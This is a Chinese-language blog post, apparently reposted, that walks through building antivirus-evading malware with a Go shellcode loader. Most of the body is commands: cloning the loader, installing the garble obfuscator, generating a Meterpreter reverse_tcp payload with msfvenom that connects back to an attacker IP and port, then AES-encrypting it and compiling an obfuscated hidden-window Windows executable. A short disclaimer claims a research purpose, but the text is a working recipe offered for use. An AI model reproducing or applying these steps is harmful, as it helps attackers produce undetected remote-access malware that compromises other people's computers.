ITPub博客

首页 > 数据库 > 数据库开发技术 > 基于GO语言的免杀

基于GO语言的免杀

原创 数据库开发技术 作者:逍遥子 时间:2023-04-12 11:51:47 0 删除 编辑

本文仅供安全研究与学习之用,反对一起危害网络安全行为及其他用途,由使用者承担全部法律及连带责任,作者不承担任何法律及连带责任。

关于

在前面的文章中,我们讲到了利用Python实现加载shellcode实现文件的免杀。本文我们来探讨基于GO的免杀吧。

安装

我们需要先安装go环境。在kali中执行下面命令进行安装。

sudo apt-get update && sudo apt-get install -y golang

接下来,我们需要克隆项目到我们的本地。

git clone https://github.com/HZzz2/go-shellcode-loader.git
cd go-shellcode-loader
//下条命令安装第三方混淆库  
go install mvdan.cc/garble@latest    

生成shellcode并base64

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.123.43 LPORT=5555 -f raw > kali.raw
base64 -w 0 -i kali.raw > kali.bs64
cat kali.bs64

复制shellcode到aes-sc.go中的44行替换payload

运行aes-sc.go生成AES加密后的值

go run aes-sc.go

复制输出的值到go-sc.go中的52行替换payload

编译成exe可执行程序

garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go

更多精彩文章 欢迎关注我们


原文作者:Kali笔记;如有侵权,请联系管理员删除。

上一篇: Responder使用教程
请登录后发表评论 登录
全部评论

注册时间:2021-01-22

  • 博文量
    760
  • 访问量
    444468